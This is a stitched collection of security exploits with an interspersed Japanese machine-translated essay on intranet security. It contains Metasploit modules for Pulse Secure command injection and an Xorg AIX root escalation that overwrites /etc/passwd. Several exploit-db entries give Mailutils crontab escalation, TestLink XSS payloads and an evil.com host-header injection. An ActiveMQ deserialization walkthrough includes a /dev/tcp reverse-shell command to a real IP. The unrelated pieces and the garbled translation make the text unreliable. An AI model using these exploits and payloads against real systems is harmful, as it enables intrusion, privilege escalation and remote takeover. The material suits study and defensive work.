unless res && res.code == 200 && (@csrf_token = parse_csrf_token(res.body))
fail_with(Failure::NoAccess, 'Session cookie expired or invalid')
end
print_good("CSRF token: #{@csrf_token}")
end
def parse_csrf_token(body)
body.to_s.scan(/xsauth=([[:xdigit:]]+)/).flatten.first
end
def execute_command(cmd, _opts = {})
# Prepend absolute path to curl(1), since it's not in $PATH
cmd.prepend('/home/bin/') if cmd.start_with?('curl')
# Bypass application whitelisting with permitted env(1)
cmd.prepend('env ')
vprint_status("Executing command: #{cmd}")
print_status("Yeeting exploit at #{full_uri(diag_cgi)}")
res = send_request_cgi(
'method' => 'GET',
'uri' => diag_cgi,
'cookie' => @cookie,
'vars_get' => {
'a' => 'td', # tcpdump
'options' => sploit(cmd),
'xsauth' => @csrf_token,
'toggle' => 'Start Sniffing'
}
)
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Could not yeet exploit')
end
print_status("Triggering payload at #{full_uri(setcookie_cgi)}")
res = send_request_cgi({
'method' => 'GET',
'uri' => setcookie_cgi
}, 3.1337)
# 200 response code, yet 500 error in body
unless res && res.code == 200 && !res.body.include?('500 Internal Error')
print_warning('Payload execution may have failed')
return
end
print_good('Payload execution successful')
if datastore['PAYLOAD'] == 'cmd/unix/generic'
print_line(res.body.sub(/\s*<html>.*/m, ''))
end
end
def sploit(cmd)
%(-r$x="#{cmd}",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <)
end
def diag_cgi
'/dana-admin/diag/diag.cgi'
end
def setcookie_cgi
'/dana-na/auth/setcookie.cgi'
end
end
一般的な規定
まず、ここでのイントラネットには、ネットワークトポロジの計画、アプリケーションのリリース、アクセス制御などの基本的なネットワーク計画が含まれておらず、アイデンティティ認証モードとアクセス制御のシナリオモードを推奨しています。イントラネットのセキュリティ制御の3つの要素またはリスク評価に戻ると、要素をスキャンすることから始めることで、管理と制御作業のアイデアをよりよく反映できます。
リスク評価の3つの要素:
- 資産:すべてのIT資産と無形資産(データと評判を含む);
- 脅威:これは一般に、潜在的に有害な行動と、内部および外部で直面する力を指します。
- 脆弱性:これは主に抜け穴やその他の隠された危険を指します。
資産
別の観点から、イントラネットセキュリティの最初のステップが資産を収集、整理、分類することである理由がわかります。実際、このステップは最も複雑です。一般的に、企業は開始時に安全に焦点を合わせません。彼らは、安全に注意を払い始め、特定の段階に発展するまで独自の安全部門を設立し始めたに違いありません。緊急消防に加えて、促進する最初のステップは、資産を収集し、資産を分類し、資産を管理することです。異なる資産に対して異なるセキュリティ戦略を実装する必要があることに注意することが特に重要です。 OA、ファイナンス、ドメイン制御などの重要なシステムには、機密データまたはイントラネット許可コレクションがある場合があるため、特別に保護されている必要があり、最も厳格な管理措置を実装する必要があります。ただし、仮想化ホストプールをテストする場合、それらが分離されている場合、セキュリティ基準のタイプは必要ありません。
資産発見を実装するための技術ソリューション:
- 収集された最も元のデータには(IP、ドメイン名、URLなど)が含まれます。
- ビジネス関連の情報(資産の所有権と運用および保守担当者、資産使用目的など)を収集します。
- 上記のデータを使用して、イントラネットで検出および検出してアクティブドメイン、IP、URLなどを発見し、ドメイン名のさまざまな分析を行い、サブドメイン名、レコード、CNAMEなどを取得する(DNS、PDNS)。
- すべてのレベルの資産は倉庫に保存され、すべてのIPがスキャンされ、実行中のサービス、ソフトウェア、およびそのバージョン、コンポーネントとバージョン、タイトル、およびその他の関連情報を取得して、関連する所有者が倉庫に入るようにチェックします。
- 上記の情報を管理して、統一された資産データベースを形成します。
資産では、管理、分類、ネットワークトポロジ計画、資産のアーキテクチャの次のステップを実行できます。ただし、後続の監査作業を容易にするために、まだいくつかの基本的なポイントがあります。
アイデンティティ認証とアクセス制御、IDと端末認証、特にWebサービスサービスとSSO Unified認証管理と同様に、PINで統一された認証を備えたアプリを使用する必要があります。
MySQLやSSHなどのサービスのアクセス制御のために、アクセス制御を実行するためにBastion Machineに頼ることが最善です。
VPNは、オフィスの場所の相互接続とモバイルオフィスに必要です。
イントラネットにNATを持っていないことが最善です。 NATがある場合は、対応するテーブルなどを変換する必要があります。
壊れやすい
ここでの脆弱性は、一般に脆弱性制御の視点に基づいています。通常、3つの問題があります。 1つ目は、脆弱性を発見する方法、脆弱性を修正する方法、およびその後の制御問題を発見する方法です。この脆弱性制御プロセスは、閉鎖ループを形成し、脆弱性または脆弱性の問題を効果的に解決するために、リアルタイムまたは準リアルタイムモニタリングを実現するよう努力する必要があります。
脆弱性を発見します
脆弱性情報を収集します
業界のレポートと抜け穴情報に注意してください
掘って自分自身を蓄積します
古い脆弱性の知識ベースを確立します
脆弱性検出:
コマーシャルミススイープ製品を購入します(大規模なエリアカバレッジ検出に適しています)
オープンソース製品を活用する(独自のPOCの蓄積に焦点を当てる)
自己開発の逃したスキャンエンジン(独自のPOCの蓄積に焦点を当てる)
脆弱性を修正:
アップグレードまたはパッチ修正(オープンソースコンポーネントまたは購入した製品に適しています)
コードレベルの修理(自己開発製品用)
その他の緩和策:ファイアウォール、WAFなど(まだ適切な解決策がない脆弱性について)
脆弱性クローズドループ:
脆弱性の発見、通知、修理は最初のステップにすぎません。
脆弱性の再テストと確認は閉鎖されました
再発を回避するための定期的な監視
教育と安全標準化の促進(安全訓練、安全システム、SDLメカニズム)
脅威
ここでの脅威には、内部および外部の脅威が含まれます。外部の脅威は一般的であり、すべての攻撃がカウントされ、一般的な内部攻撃もカウントされます。ただし、機密情報、機密文書(入札、引用、雇用書類、契約)、および知的財産資産(コード、特許、技術ソリューションなど)の漏れがあることに注目する価値のある別のタイプの人々がいます。 DLPモニタリングに加えて、GitHub、さまざまなネットワークディスク、コードホスティングプラットフォーム、クラウドプラットフォームを監視して、独自の利益を保護する必要もあります。ここでは、アクティブディフェンス(攻撃防衛など)を導入することはありません。当面は、外部の世論の安全性を考慮しません。したがって、イントラネットのIDS/IPSシステムを確立することも非常に必要です。確立する必要がある能力には、2つのポイントが必要です。最初に、事前に、処理アラーム中、および後処理緊急監査です。
トラフィックフルミラーバックアップシステム(ネットミラー、スカイアイ、SOC製品)
ログコレクションプラットフォーム(各端末で、ログが構成され、ログが収集、要約、ソート、分析、保持)オープンソース製品はELKシステムから学習できます
自動ログ、トラフィック分析アラームプラットフォーム、通知システム
脅威への少し追加
監査について言いたいです。 ACLテクノロジーを使用したIPに基づくアクセス制御は安価ですが、動的な変更と互換性がある能力がありません。アイデンティティと端末認証に基づいたアクセス制御、およびそのログ保持は、その後の監査、追跡、および説明責任にとって非常に重要です。
要約
上記の3つすべてについて、新しく確立されたセキュリティ部門で最も重要な2つのものは、Trinityシステムを確立し、資産を収集し、最も基本的な管理と運用基準を確立し、脆弱性スキャンシステムを統合することです(脆弱性の取り扱いのための閉ループを確立する)。同時に、脅威インテリジェンスを組み合わせて内部および外部のセキュリティインシデントを監視し、タイムリーな方法と余波でそれらに対処します。 Trinityシステムを確立した後、イントラネットセキュリティ戦争の最も基本的な素材の基礎は十分に構築され、これらの武器と機器のみでのみイントラネットセキュリティ戦争が本当に始まることができます。
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::File
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Xorg X11 Server Local Privilege Escalation',
'Description' => %q(
WARNING: Successful execution of this module results in /etc/passwd being overwritten.
This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.
A permission check flaw exists for -modulepath and -logfile options when
starting Xorg. This allows unprivileged users that can start the server
the ability to elevate privileges and run arbitrary code under root
privileges.
This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
Due to permission restrictions of the crontab in AIX, this module does not use cron,
and instead overwrites /etc/passwd in order to create a new user with root privileges.
All currently logged in users need to be included when /etc/passwd is overwritten,
else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,
and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when
overwriting /etc/passwd.
),
'Author' =>
[
'Narendra Shinde', # Discovery and original FreeBSD exploit
'Zack Flack <dzflack[at]gmail.com>' # Metasploit module and original AIX exploit
],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Oct 25 2018',
'Notes' =>
{
'SideEffects' => [ CONFIG_CHANGES ]
},
'References' =>
[
['CVE', '2018-14665'],
['URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html'],
['URL', 'https://aix.software.ibm.com/aix/efixes/security/xorg_advisory3.asc'],
['URL', 'https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl'],
['EDB', '45938']
],
'Platform' => ['unix'],
'Arch' => [ARCH_CMD],
'SessionTypes' => ['shell'],
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl'
}
},
'DefaultOptions' => {
'Payload' => 'cmd/unix/reverse_perl'
},
'Targets' =>
[
['IBM AIX Version 6.1', {}],
['IBM AIX Version 7.1', {}],
['IBM AIX Version 7.2', {}]
],
'DefaultTarget' => 1))
register_options(
[
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
)
end
def check
xorg_path = cmd_exec('command -v Xorg')
if !xorg_path.include?('Xorg')
print_error('Could not find Xorg executable')
return Exploit::CheckCode::Safe
end
ksh93_path = cmd_exec('command -v ksh93')
if !ksh93_path.include?('ksh')
print_error('Could not find Ksh93 executable')
return Exploit::CheckCode::Safe
end
if !xorg_vulnerable?
print_error('Xorg version is not vulnerable')
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Appears
end
def exploit
status = check
if status == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, '')
end
if !writable?(datastore['WritableDir'])
fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable")
end
xorg_path = cmd_exec('command -v Xorg')
ksh93_path = cmd_exec('command -v ksh93')
xorg_payload = generate_xorg_payload(xorg_path, ksh93_path, datastore['WritableDir'])
xorg_script_path = "#{datastore['WritableDir']}/wow.ksh"
upload_and_chmodx(xorg_script_path, xorg_payload)
passwd_backup = "#{datastore['WritableDir']}/passwd.backup"
print_status("Backing up /etc/passwd to #{passwd_backup}")
cmd_exec("cp /etc/passwd #{passwd_backup}")
register_file_for_cleanup(passwd_backup)
print_status("Executing #{xorg_script_path}")
cmd_exec(xorg_script_path)
print_status('Checking if we are root')
if root?
shell_payload = %(#!#{ksh93_path}
#{payload.encoded}
)
shell_script_path = "#{datastore['WritableDir']}/wowee.ksh"
upload_and_chmodx(shell_script_path, shell_payload)
print_status('Executing shell payload')
cmd_exec("#{ksh93_path} -c \"echo #{shell_script_path} | su - wow &\"")
print_status('Restoring original /etc/passwd')
cmd_exec("su - wow -c \"cp #{passwd_backup} /etc/passwd\"")
else
fail_with(Failure::PayloadFailed, '')
end
end
def generate_xorg_payload(xorg_path, ksh93_path, writabledir)
passwd_file = read_file('/etc/passwd')
passwd_array = passwd_file.split("\n")
print_status('Retrieving currently logged in users')
users = cmd_exec('who | cut -d\' \' -f1 | sort | uniq')
users << "\n"
users_array = users.split("\n")
logged_in_users = ''
if !users_array.empty?
users_array.each do |user|
user << ':'
passwd_array.each do |line|
if line.index(user) == 0
logged_in_users << '\n'
logged_in_users << line
end
end
end
end
passwd_data = "$'#{logged_in_users}\\nwow::0:0::/:/usr/bin/ksh\\n#'"
subdir_count = writabledir.count('/')
relative_passwd = '../' * subdir_count + '../../etc/passwd'
return %(#!#{ksh93_path}
#{xorg_path} -config #{passwd_data} -logfile #{relative_passwd} :1 > /dev/null 2>&1
)
end
def xorg_vulnerable?
version = cmd_exec('lslpp -L | grep -i X11.base.rte | awk \'{ print $2 }\'')
print_status("Xorg version is #{version}")
semantic_version = Gem::Version.new(version)
vulnerable_versions = [
['6.1.9.0', '6.1.9.100'],
['7.1.4.0', '7.1.4.30'],
['7.1.5.0', '7.1.5.31'],
['7.2.0.0', '7.2.0.1'],
['7.2.1.0', '7.2.1.0'],
['7.2.2.0', '7.2.2.0'],
['7.2.3.0', '7.2.3.15']
]
vulnerable_versions.each do |version_pair|
if semantic_version >= Gem::Version.new(version_pair[0]) &&
semantic_version <= Gem::Version.new(version_pair[1])
return true
end
end
return false
end
def root?
id_output = cmd_exec('su - wow -c "id"')
if id_output.include?('euid=0') || id_output.include?('uid=0')
print_good('Got root!')
return true
end
print_error('Not root')
false
end
def upload_and_chmodx(path, data)
print_status("Writing to #{path}")
rm_f(path)
write_file(path, data)
cmd_exec("chmod 0555 '#{path}'")
register_file_for_cleanup(path)
end
end
# Exploit Title: GNU Mailutils 3.7 - Local Privilege Escalation
# Date: 2019-11-06
# Exploit Author: Mike Gualtieri
# Vendor Homepage: https://mailutils.org/
# Software Link: https://ftp.gnu.org/gnu/mailutils/mailutils-3.7.tar.gz
# Version: 2.0 <= 3.7
# Tested on: Gentoo
# CVE : CVE-2019-18862
Title : GNU Mailutils / Maidag Local Privilege Escalation
Author : Mike Gualtieri :: https://www.mike-gualtieri.com
Date : 2019-11-06
Updated : 2019-11-20
Vendor Affected: GNU Mailutils :: https://mailutils.org/
Versions Affected: 2.0 - 3.7
CVE Designator: CVE-2019-18862
1. Overview
The --url parameter included in the GNU Mailutils maidag utility (versions 2.0
through 3.7) can abused to write to arbitrary files on the host operating
system. By default, maidag is set to execute with setuid root permissions,
which can lead to local privilege escalation through code/command execution by
writing to the system's crontab or by writing to other root owned files on the
operating system.
2. Detail
As described by the project's homepage, "GNU Mailutils is a swiss army knife of
electronic mail handling. It offers a rich set of utilities and daemons for
processing e-mail".
Maidag, a mail delivery agent utility included in the suite, is by default
marked to execute with setuid (suid) root permissions.
The --url parameter of maidag can be abused to write to arbitrary files on the
operating system. Abusing this option while the binary is marked with suid
permissions allows a low privileged user to write to arbitrary files on the
system as root. Writing to the crontab, for example, may lead to a root shell.
The flaw itself appears to date back to the 2008-10-19 commit, when the --url
parameter was introduced to maidag.
11637b0f - New maidag mode: --url
https://git.savannah.gnu.org/cgit/mailutils.git/commit/?id=11637b0f262db62b4dc466cefb9315098a1a995a
maidag/Makefile.am:
chmod 4755 $(DESTDIR)$(sbindir)/$$i;\
The following payload will execute arbitrary commands as root and works with
versions of maidag, through version 3.7.
maidag --url /etc/crontab < /tmp/crontab.in
The file /tmp/crontab.in would contain a payload like the following.
line 1:
line 2: */1 * * * * root /tmp/payload.sh
Please note: For the input to be accepted by maidag, the first line of the
file must be blank or be commented.
In the above example, the file /tmp/payload.sh would include arbitrary
commands to execute as root.
Older versions of GNU Mailutils (2.2 and previous) require a different syntax:
maidag --url 'mbox://user@localhost //etc/crontab' < /tmp/crontab.in
3. Solution
A fix for the flaw has been made in GNU Mailutils 3.8, which removes the maidag
utility, and includes three new utilities that replace its functionality.
Details about the new features can be found in the project's release notes:
https://git.savannah.gnu.org/cgit/mailutils.git/tree/NEWS
Another workaround for those unable to upgrade, is to remove the suid bit on
/usr/sbin/maidag (e.g. `chmod u-s /usr/sbin/maidag`).
It should be noted that some Linux distributions already remove the suid bit
from maidag by default, nullifying this privilege escalation flaw.
Another patch has been made available by Sergey Poznyakoff and posted to the
GNU Mailutils mailing list, which removes the setuid bit for maidag in all but
required cases. The patch is intended for users who can not yet upgrade to
mailutils 3.8. The patch has also been made available here:
https://www.mike-gualtieri.com/files/maidag-dropsetuid.patch
4. Additional Comments
This vulnerability disclosure was submitted to MITRE Corporation for inclusion
in the Common Vulnerabilities and Exposures (CVE) database. The designator
CVE-2019-18862 has been assigned.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18862
https://nvd.nist.gov/vuln/detail/CVE-2019-18862
The NIST National Vulnerability Database (NVD) has assigned the following
ratings:
CVSS 3.x Severity and Metrics: Base Score: 7.8 HIGH
CVSS 2.0 Severity and Metrics: Base Score: 4.6 MEDIUM
This disclosure will be updated as new information becomes available.
5. History
2019-10-09 Informed Sergey Poznyakoff <gray@gnu.org.ua> of security issue
2019-10-10 Reply from Sergey acknowledging the issue
2019-10-12 Fix available in the GNU Mailutils git repository:
739c6ee5 - Split maidag into three single-purpose tools
https://git.savannah.gnu.org/cgit/mailutils.git/commit/?id=739c6ee525a4f7bb76b8fe2bd75e81a122764ced
2019-11-06 GNU Mailutils Version 3.8 released to close the issue
2019-11-06 Submission of this vulnerability disclosure to MITRE Corporate to
obtain a CVE designator
2019-11-07 Patch offered by Sergey for those unable to upgrade to version 3.8
2019-11-11 CVE-2019-18862 assigned to flaw
2019-11-20 Vulnerability disclosure made publicly available
# Exploit Title: TestLink 1.9.19 - Persistent Cross-Site Scripting
# Date: 2019-11-20
# Exploit Author: Milad Khoshdel
# Software Link: http://testlink.org/
# Version: TestLink 1.9.19
# Tested on: Linux Apache/2 PHP/7.3.11
=========
Vulnerable Pages:
=========
Persistent --> https://[TestLink-URL]/testlink/lib/testcases/archiveData.php?add_relation_feedback_msg=Test%20Case%20with%20external%20ID%3A%20%20-%20does%20not%20exist&edit=%3cscRipt%3ealert(0x008B19)%3c%2fscRipt%3e&id=4&show_mode=show&version_id=3
Non-Persistent --> https://[TestLink-URL]/testlink/index.php?caller=login&reqURI=javascript%3aalert(0x002082)&viewer=3
Non-Persistent --> https://[TestLink-URL]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&nsextt=%3cscRipt%3ealert(0x00A5CA)%3c%2fscRipt%3e&show_mode=editDisabled&step_id=
Non-Persistent --> https://[TestLink-URL]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&%3cscRipt%3ealert(0x00A5CE)%3c%2fscRipt%3e=nsextt&show_mode=editDisabled
Non-Persistent --> https://[TestLink-URL]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&show_mode=%3cscRipt%3ealert(0x00A54D)%3c%2fscRipt%3e&step_id=
=========
POC:
=========
REGUEST -->
GET /testlink/index.php?caller=login&reqURI=javascript%3aalert(0x002082)&viewer=3 HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=7sjusfplttil0vsrv31ll2on2v; TESTLINK197TL_execSetResults_bn_view_status=0; TESTLINK197TL_execSetResults_platform_notes_view_status=0; TESTLINK197TL_execSetResults_tpn_view_status=0; TL_lastTestProjectForUserID_2=1; TESTLINK197TL_lastTestPlanForUserID_1=2; TESTLINK197TL_user2_proj1_testPlanId=2; TESTLINK_USER_AUTH_COOKIE=09d24c73361bc02964e80077a0b797b6fc2c1afb74c52ceea74c63311365fadd
Referer: http://127.0.0.1/testlink/login.php?viewer=3
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36
RESPONSE -->
HTTP/1.1 200 OK
Server: Apache
Content-Length: 526
X-Powered-By: PHP/7.3.11
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=50
X-Frame-Options: SAMEORIGIN
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Encoding:
Date: Wed, 20 Nov 2019 11:29:45 GMT
Vary: Cookie,Accept-Encoding
Cache-Control: no-store, no-cache, must-revalidate
<!DOCTYPE html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="Content-language" content="en" />
<meta name="generator" content="testlink" />
<meta name="author" content="TestLink Development Team" />
<meta name="copyright" content="TestLink Development Team" />
<meta name="robots" content="NOFOLLOW" />
<title>TestLink 1.9.19</title>
<meta name="description" content="TestLink - TestLink ::: Main Page" />
<link rel="icon" href="http://127.0.0.1/testlink/gui/themes/default/images/favicon.ico" type="image/x-icon" />
</head>
<frameset rows="70,*" frameborder="0" framespacing="0">
<frame src="lib/general/navBar.php?tproject_id=0&tplan_id=0&updateMainPage=1" name="titlebar" scrolling="no" noresize="noresize" />
<frame src="javascript:alert(0x002082)" scrolling='auto' name='mainframe' />
<noframes>
<body>
TestLink required a frames supporting browser.
</body>
</noframes>
</frameset>
-------------------------------------------------
STEP 1 -->
[Request]
GET /testlink/lib/testcases/archiveData.php?add_relation_feedback_msg=Test%20Case%20with%20external%20ID%3A%20%20-%20does%20not%20exist&edit=%3cscRipt%3ealert(0x008B19)%3c%2fscRipt%3e&id=4&show_mode=show&version_id=3 HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=7sjusfplttil0vsrv31ll2on2v; TESTLINK197TL_execSetResults_bn_view_status=0; TESTLINK197TL_execSetResults_platform_notes_view_status=0; TESTLINK197TL_execSetResults_tpn_view_status=0; TESTLINK197ys-tproject_1_ext-comp-1001=a%3As%253A%2F1%2F3; TESTLINK_USER_AUTH_COOKIE=09d24c73361bc02964e80077a0b797b6fc2c1afb74c52ceea74c63311365fadd; TESTLINK197TL_user2_proj1_testPlanId=2; TESTLINK197TL_lastTestPlanForUserID_1=2; TL_lastTestProjectForUserID_2=1
Referer: http://127.0.0.1/testlink/lib/testcases/tcEdit.php
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36
[Response]
HTTP/1.1 200 OK
Server: Apache
Content-Length: 0
X-Powered-By: PHP/7.3.11
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=47
X-Frame-Options: SAMEORIGIN
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Date: Wed, 20 Nov 2019 11:59:45 GMT
Vary: Cookie
Cache-Control: no-store, no-cache, must-revalidate
STEP 2 -->
[Request]
GET /testlink/lib/testcases/archiveData.php?add_relation_feedback_msg=Test%20Case%20with%20external%20ID%3A%20%20-%20does%20not%20exist&edit=testcase&id=127.0.0.1/trace.axd&show_mode=show&version_id=3 HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=7sjusfplttil0vsrv31ll2on2v; TESTLINK197TL_execSetResults_bn_view_status=0; TESTLINK197TL_execSetResults_platform_notes_view_status=0; TESTLINK197TL_execSetResults_tpn_view_status=0; TESTLINK197ys-tproject_1_ext-comp-1001=a%3As%253A%2F1%2F3; TESTLINK_USER_AUTH_COOKIE=09d24c73361bc02964e80077a0b797b6fc2c1afb74c52ceea74c63311365fadd; TESTLINK197TL_user2_proj1_testPlanId=2; TL_lastTestProjectForUserID_2=1; TESTLINK197TL_lastTestPlanForUserID_1=2
Referer: http://127.0.0.1/testlink/lib/testcases/tcEdit.php
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36
[Response]
#Identification Page
HTTP/1.1 200 OK
Transfer-Encoding: chunked
Server: Apache
X-Powered-By: PHP/7.3.11
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=98
X-Frame-Options: SAMEORIGIN
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Encoding:
Date: Wed, 20 Nov 2019 12:02:38 GMT
Vary: Cookie,Accept-Encoding
Cache-Control: no-store, no-cache, must-revalidate
ner_title_{php}Smarty_Resource::parseResourceName(system("ns,[container_title_<scRipt>alert(0x008B19)</scRipt>] => container_title_<scRipt>alert(0x008B19)</scRipt>,[container_title_{{_self.env.registerUndefinedFilterCallback("sys
# Exploit Title: Network Management Card 6.2.0 - Host Header Injection
# Google Dork:
# Date: 2019-11-21
# Exploit Author: Amal E Thamban,Kamal Paul
# Vendor Homepage: https://www.apc.com/in/en/
# Software Link: https://www.apc.com/shop/in/en/products/Network-Management-Card
# Version: v6.2.0
# Tested on: Kali Linux
# CVE :
Description:Host Header Injection
Product is vulnerable to host header injection because the host header can be changed to something outside the target domain (ie.evil.com) and cause it to redirect to to that domain instead.
-------------------------------------------------------------------------------------------------------------------------
Orginal Request
GET / HTTP/1.1
Host: 192.168.10.211
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.10.211/logon.htm
Connection: close
Cookie: C0=apc
Upgrade-Insecure-Requests: 1
--------------------------------------------------------------------------------------------------------------------------
Modifed request
GET / HTTP/1.1
Host: evil.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.10.211/logon.htm
Connection: close
Cookie: C0=apc
Upgrade-Insecure-Requests:
---------------------------------------------------------------------------------------------------------------------------
Response
HTTP/1.1 303 See Other
Location: http://evil.com/home.htm
Content-Length: 0
WebServer:
Connection: close
#Exploit Title: ProShow Producer 9.0.3797 - ('ScsiAccess') Unquoted Service Path
#Exploit Author : ZwX
#Exploit Date: 2019-11-21
#Vendor Homepage : http://www.photodex.com/
#Link Software : http://files.photodex.com/release/pspro_90_3797.exe
#Tested on OS: Windows 7
#Analyze PoC :
==============
C:\Users\ZwX>sc qc ScsiAccess
[SC] QueryServiceConfig réussite(s)
SERVICE_NAME: ScsiAccess
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Photodex\ProShow Producer\ScsiAccess.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ScsiAccess
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
0x00脆弱性はじめに
Apache ActiveMQは、米国のApache Software Foundationが開発したオープンソースメッセージングミドルウェアのセットです。 Javaメッセージサービス、クラスター、スプリングフレームワークなどをサポートしています。ApacheActiveMQ5.13.0の前に、バージョン5.xの前にセキュリティの脆弱性がありました。リモート攻撃者は、特別に作成されたシリアル化されたJavaメッセージサービス(JMS)ObjectMessageオブジェクトを使用して、任意のコードを実行できます。
0x01脆弱性環境
1。ubuntu16.04の下にdocker/docker-compose:をインストールします
#PIPをインストールします
curl -s https://bootstrap.pypa.io/get-pip.py | Python3
#dockerの最新バージョンをインストールします
curl -s https://get.docker.com/| sh
#Dockerサービスを開始します
Service Docker Start
#composeをインストールします
PIPインストールDocker-Compose
#プロジェクトをダウンロードします
wget https://github.com/vulhub/vulhub/archive/master.zip -o vulhub-master.zip
unzip vulhub-master.zip
CD Vulhub-Master
#特定の脆弱性/環境のディレクトリを入力します
CD Activemq/CVE-2015-5254/
#automatedコンピレーション環境
Docker-Composeビルド
2。脆弱性環境を実行:
docker -compose up -d
環境が実行された後、2つのポート61616と8161が聴き、61616は作業ポートであり、このポートでメッセージが渡されます。 8161はネットワーク管理ページポートであり、http://Your-IP:8161にアクセスしてネットワーク管理ページを見ることができますが、理論的には、この脆弱性はネットワークを必要としません。
ブラウザを使用してActiveMQに直接アクセスして、展開が完了しているかどうかを確認します
http://45.32.101.90:8161/admin/(デフォルトのユーザー名/パスワードはadmin/admin)
0x02脆弱性の再発
1。脆弱性の搾取プロセスは次のとおりです。
a。 construct(ysoserialを使用できます)実行可能コマンドのシリアル化されたオブジェクト
b。メッセージとして、ターゲットポート61616に送信します
c。アクセスされたWeb管理ページ、メッセージの読み取り、トリガーの脆弱性
2. Exploitation :にJMETを使用します
最初にJMET JARファイルをダウンロードし、同じディレクトリに外部フォルダーを作成します(それ以外の場合、フォルダーが存在しないエラーが爆発する場合があります)。 JMETの原則は、Ysoserialを使用してペイロードを生成して送信することです(瓶にYsoserialが付属しているため、ローマなどのYsoserialガジェットで使用できるものを選択する必要があります。
CD /OPT
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
MKDIR外部
3。コマンドを実行します
Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'touch /tmp /sucess' -yp Rome 45.32.101.90 61616
4。現時点では、ターゲットActiveMQに名前付きイベントというキューが追加されます。 http://45.32.101.903:8161/admin/browse.jsp?jmsdestination=event:beansed from http://45.32.101.903:8161からすべてのメッセージが表示されます。
5.クリックしてこのメッセージを表示して、コマンドの実行をトリガーします
6.この時点でコンテナを入力します
docker exec -it cc0e9385f975 /bin /bash
7./TMP /が正常に作成されていることがわかります。これは、搾取が成功していることを示しています。
8.Bounce Shell:
Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'bash -i /dev/tcp/45.32.101.90/123401' -Yp Rome45.32.101.90 61616
リモートホストはポート1234に耳を傾けます。
NC -LVVP 1234
リバウンドがshell:であることがわかります
ネットワーク管理ページを介してメッセージにアクセスし、脆弱性をトリガーするには管理者の権限が必要であることは注目に値します。パスワードがなければ、管理者にリンクにトリガーへのリンクにアクセスするように誘導したり、他の正当なサービスに必要なメッセージとして偽装したり、クライアントにアクセスできるようにすることができます。
9.ユーザーを追加します
JMEMコマンドを実行してテストユーザーを追加してルートグループに追加し、http://192.168.221.185:8161/admin/browse.jsp?jmsdestination=イベントページに戻り、メッセージをクリックしてトリガーを使用します。
